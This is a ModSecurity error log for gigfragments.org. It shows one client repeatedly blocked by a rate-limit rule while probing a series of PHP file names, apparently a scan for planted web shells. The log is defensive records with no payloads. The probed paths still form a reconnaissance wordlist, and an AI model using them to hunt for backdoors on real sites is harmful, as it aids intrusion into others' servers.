[Wed Jan 07 00:16:00.196410 2026] [:error] [pid 44905:tid 44978] [client 20.196.88.169:26909] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wl.php"] [unique_id "aV01QLu7ufwWVst9EAsg3wAAAIo"]
[Wed Jan 07 00:16:00.467098 2026] [:error] [pid 45959:tid 45979] [client 20.196.88.169:28583] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wl.php"] [unique_id "aV01QFajdn8P3hjgMYwyDAAAAVE"]
[Wed Jan 07 00:16:00.736705 2026] [:error] [pid 45012:tid 45027] [client 20.196.88.169:30600] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wl.php"] [unique_id "aV01QBaMAxCuju1d0uZBagAAAM0"]
[Wed Jan 07 00:16:01.006244 2026] [:error] [pid 44905:tid 44971] [client 20.196.88.169:27665] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "aV01Qbu7ufwWVst9EAsg4AAAAIM"]
[Wed Jan 07 00:16:01.277928 2026] [:error] [pid 44905:tid 44981] [client 20.196.88.169:18675] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "aV01Qbu7ufwWVst9EAsg4QAAAI0"]
[Wed Jan 07 00:16:01.550438 2026] [:error] [pid 45012:tid 45030] [client 20.196.88.169:35454] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "aV01QRaMAxCuju1d0uZBbAAAANA"]
[Wed Jan 07 00:16:01.820355 2026] [:error] [pid 44904:tid 44952] [client 20.196.88.169:3155] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "aV01QTtieuI1BJEZcvdqZAAAAEs"]
[Wed Jan 07 00:16:02.088999 2026] [:error] [pid 44903:tid 44913] [client 20.196.88.169:18647] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aV01QthHqjs38zbkQPBQ-wAAAAY"]
[Wed Jan 07 00:16:02.358045 2026] [:error] [pid 45959:tid 45985] [client 20.196.88.169:35404] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aV01Qlajdn8P3hjgMYwyDgAAAVc"]
[Wed Jan 07 00:16:02.627256 2026] [:error] [pid 45012:tid 45035] [client 20.196.88.169:28554] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aV01QhaMAxCuju1d0uZBbQAAANU"]
[Wed Jan 07 00:16:02.898457 2026] [:error] [pid 44904:tid 44965] [client 20.196.88.169:35451] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pn.php"] [unique_id "aV01QjtieuI1BJEZcvdqagAAAFg"]
[Wed Jan 07 00:16:03.165337 2026] [:error] [pid 44904:tid 44962] [client 20.196.88.169:28596] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aV01QztieuI1BJEZcvdqawAAAFU"]
[Wed Jan 07 00:16:03.454339 2026] [:error] [pid 44905:tid 44969] [client 20.196.88.169:28607] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aV01Q7u7ufwWVst9EAsg4wAAAIE"]
[Wed Jan 07 00:16:03.724229 2026] [:error] [pid 44905:tid 44984] [client 20.196.88.169:27698] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aV01Q7u7ufwWVst9EAsg5QAAAJA"]
[Wed Jan 07 00:16:03.994826 2026] [:error] [pid 44905:tid 44990] [client 20.196.88.169:3148] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aV01Q7u7ufwWVst9EAsg5gAAAJY"]
[Wed Jan 07 00:16:04.264936 2026] [:error] [pid 44905:tid 44975] [client 20.196.88.169:18665] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aV01RLu7ufwWVst9EAsg5wAAAIc"]
[Wed Jan 07 00:16:04.534470 2026] [:error] [pid 44905:tid 44974] [client 20.196.88.169:21711] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aV01RLu7ufwWVst9EAsg6QAAAIY"]
[Wed Jan 07 00:16:04.802631 2026] [:error] [pid 44904:tid 44964] [client 20.196.88.169:29955] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aV01RDtieuI1BJEZcvdqbwAAAFc"]
[Wed Jan 07 00:16:05.071129 2026] [:error] [pid 44905:tid 44988] [client 20.196.88.169:26907] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ant.php"] [unique_id "aV01Rbu7ufwWVst9EAsg6gAAAJQ"]
[Wed Jan 07 00:16:05.342212 2026] [:error] [pid 45959:tid 45972] [client 20.196.88.169:28572] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/show.php"] [unique_id "aV01RVajdn8P3hjgMYwyEgAAAUo"]
[Wed Jan 07 00:16:05.610498 2026] [:error] [pid 44905:tid 44980] [client 20.196.88.169:3510] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/show.php"] [unique_id "aV01Rbu7ufwWVst9EAsg7QAAAIw"]
[Wed Jan 07 00:16:05.889036 2026] [:error] [pid 44905:tid 44978] [client 20.196.88.169:21769] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/show.php"] [unique_id "aV01Rbu7ufwWVst9EAsg7gAAAIo"]
[Wed Jan 07 00:16:06.164116 2026] [:error] [pid 45959:tid 45970] [client 20.196.88.169:27598] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/show.php"] [unique_id "aV01Rlajdn8P3hjgMYwyFAAAAUg"]
[Wed Jan 07 00:16:06.434848 2026] [:error] [pid 45012:tid 45034] [client 20.196.88.169:21720] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cro.php"] [unique_id "aV01RhaMAxCuju1d0uZBcAAAANQ"]
[Wed Jan 07 00:16:06.737194 2026] [:error] [pid 45012:tid 45017] [client 20.196.88.169:35430] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cro.php"] [unique_id "aV01RhaMAxCuju1d0uZBcQAAAMM"]
[Wed Jan 07 00:16:07.006371 2026] [:error] [pid 44903:tid 44918] [client 20.196.88.169:18632] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cro.php"] [unique_id "aV01R9hHqjs38zbkQPBRAAAAAAs"]
[Wed Jan 07 00:16:07.278282 2026] [:error] [pid 44905:tid 44968] [client 20.196.88.169:27584] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cro.php"] [unique_id "aV01R7u7ufwWVst9EAsg7wAAAIA"]
[Wed Jan 07 00:16:07.560018 2026] [:error] [pid 45012:tid 45022] [client 20.196.88.169:3160] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wo.php"] [unique_id "aV01RxaMAxCuju1d0uZBcwAAAMg"]
[Wed Jan 07 00:16:07.853487 2026] [:error] [pid 45012:tid 45036] [client 20.196.88.169:21718] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wo.php"] [unique_id "aV01RxaMAxCuju1d0uZBdQAAANY"]
[Wed Jan 07 00:16:08.122227 2026] [:error] [pid 44905:tid 44983] [client 20.196.88.169:3178] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wo.php"] [unique_id "aV01SLu7ufwWVst9EAsg8wAAAI8"]
[Wed Jan 07 00:16:08.392107 2026] [:error] [pid 44904:tid 44944] [client 20.196.88.169:18651] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wo.php"] [unique_id "aV01SDtieuI1BJEZcvdqcQAAAEM"]
[Wed Jan 07 00:16:08.664317 2026] [:error] [pid 44904:tid 44950] [client 20.196.88.169:33488] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shoyo.php"] [unique_id "aV01SDtieuI1BJEZcvdqcgAAAEk"]
[Wed Jan 07 00:16:08.933480 2026] [:error] [pid 44904:tid 44952] [client 20.196.88.169:26880] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shoyo.php"] [unique_id "aV01SDtieuI1BJEZcvdqcwAAAEs"]
[Wed Jan 07 00:16:09.203595 2026] [:error] [pid 45959:tid 45981] [client 20.196.88.169:35420] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shoyo.php"] [unique_id "aV01SVajdn8P3hjgMYwyFgAAAVM"]
[Wed Jan 07 00:16:09.482282 2026] [:error] [pid 45012:tid 45029] [client 20.196.88.169:30002] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shoyo.php"] [unique_id "aV01SRaMAxCuju1d0uZBdgAAAM8"]
[Wed Jan 07 00:16:09.773393 2026] [:error] [pid 45012:tid 45015] [client 20.196.88.169:3177] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qqq.php"] [unique_id "aV01SRaMAxCuju1d0uZBeAAAAME"]
[Wed Jan 07 00:16:10.042941 2026] [:error] [pid 45012:tid 45016] [client 20.196.88.169:29993] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qqq.php"] [unique_id "aV01ShaMAxCuju1d0uZBegAAAMI"]
[Wed Jan 07 00:16:10.312075 2026] [:error] [pid 45012:tid 45027] [client 20.196.88.169:3171] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qqq.php"] [unique_id "aV01ShaMAxCuju1d0uZBewAAAM0"]
[Wed Jan 07 00:16:10.584531 2026] [:error] [pid 45959:tid 45968] [client 20.196.88.169:18664] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qqq.php"] [unique_id "aV01Slajdn8P3hjgMYwyFwAAAUY"]
[Wed Jan 07 00:16:10.855797 2026] [:error] [pid 44904:tid 44958] [client 20.196.88.169:29976] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aV01SjtieuI1BJEZcvdqdAAAAFE"]
[Wed Jan 07 00:16:11.125378 2026] [:error] [pid 45012:tid 45028] [client 20.196.88.169:27683] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aV01SxaMAxCuju1d0uZBfQAAAM4"]
[Wed Jan 07 00:16:11.406983 2026] [:error] [pid 44904:tid 44948] [client 20.196.88.169:26916] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aV01SztieuI1BJEZcvdqdQAAAEc"]
[Wed Jan 07 00:16:11.676922 2026] [:error] [pid 45959:tid 45983] [client 20.196.88.169:27604] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccou.php"] [unique_id "aV01S1ajdn8P3hjgMYwyGQAAAVU"]
[Wed Jan 07 00:16:11.948805 2026] [:error] [pid 44905:tid 44988] [client 20.196.88.169:21749] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fz.php"] [unique_id "aV01S7u7ufwWVst9EAsg-gAAAJQ"]
[Wed Jan 07 00:16:12.220578 2026] [:error] [pid 45012:tid 45023] [client 20.196.88.169:21734] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fz.php"] [unique_id "aV01TBaMAxCuju1d0uZBfwAAAMk"]
[Wed Jan 07 00:16:12.492538 2026] [:error] [pid 45959:tid 45977] [client 20.196.88.169:18638] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fz.php"] [unique_id "aV01TFajdn8P3hjgMYwyHAAAAU8"]
[Wed Jan 07 00:16:12.763142 2026] [:error] [pid 44903:tid 44926] [client 20.196.88.169:35439] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fz.php"] [unique_id "aV01TNhHqjs38zbkQPBRGQAAABM"]
[Wed Jan 07 00:16:13.039015 2026] [:error] [pid 45012:tid 45037] [client 20.196.88.169:3173] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/congab.php"] [unique_id "aV01TRaMAxCuju1d0uZBggAAANc"]
[Wed Jan 07 00:16:13.311595 2026] [:error] [pid 35140:tid 35149] [client 20.196.88.169:3163] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/congab.php"] [unique_id "aV01TXoQaIDFMbT-XMwIeQAAAQc"]
[Wed Jan 07 00:16:13.593416 2026] [:error] [pid 45959:tid 45985] [client 20.196.88.169:35452] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/congab.php"] [unique_id "aV01TVajdn8P3hjgMYwyHwAAAVc"]
[Wed Jan 07 00:16:13.873389 2026] [:error] [pid 45959:tid 45966] [client 20.196.88.169:26938] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/congab.php"] [unique_id "aV01TVajdn8P3hjgMYwyIAAAAUQ"]
[Wed Jan 07 00:16:14.148390 2026] [:error] [pid 45012:tid 45014] [client 20.196.88.169:30620] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aV01ThaMAxCuju1d0uZBhgAAAMA"]
[Wed Jan 07 00:16:14.425879 2026] [:error] [pid 35140:tid 35161] [client 20.196.88.169:26925] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aV01TnoQaIDFMbT-XMwIewAAARM"]
[Wed Jan 07 00:16:14.711099 2026] [:error] [pid 45012:tid 45019] [client 20.196.88.169:27603] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aV01ThaMAxCuju1d0uZBiQAAAMU"]
[Wed Jan 07 00:16:14.993290 2026] [:error] [pid 45959:tid 45975] [client 20.196.88.169:26897] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aV01Tlajdn8P3hjgMYwyIgAAAU0"]
[Wed Jan 07 00:16:15.264818 2026] [:error] [pid 45012:tid 45033] [client 20.196.88.169:18627] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X7x.php"] [unique_id "aV01TxaMAxCuju1d0uZBiwAAANM"]
[Wed Jan 07 00:16:15.533597 2026] [:error] [pid 45959:tid 45964] [client 20.196.88.169:21806] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X7x.php"] [unique_id "aV01T1ajdn8P3hjgMYwyJAAAAUI"]
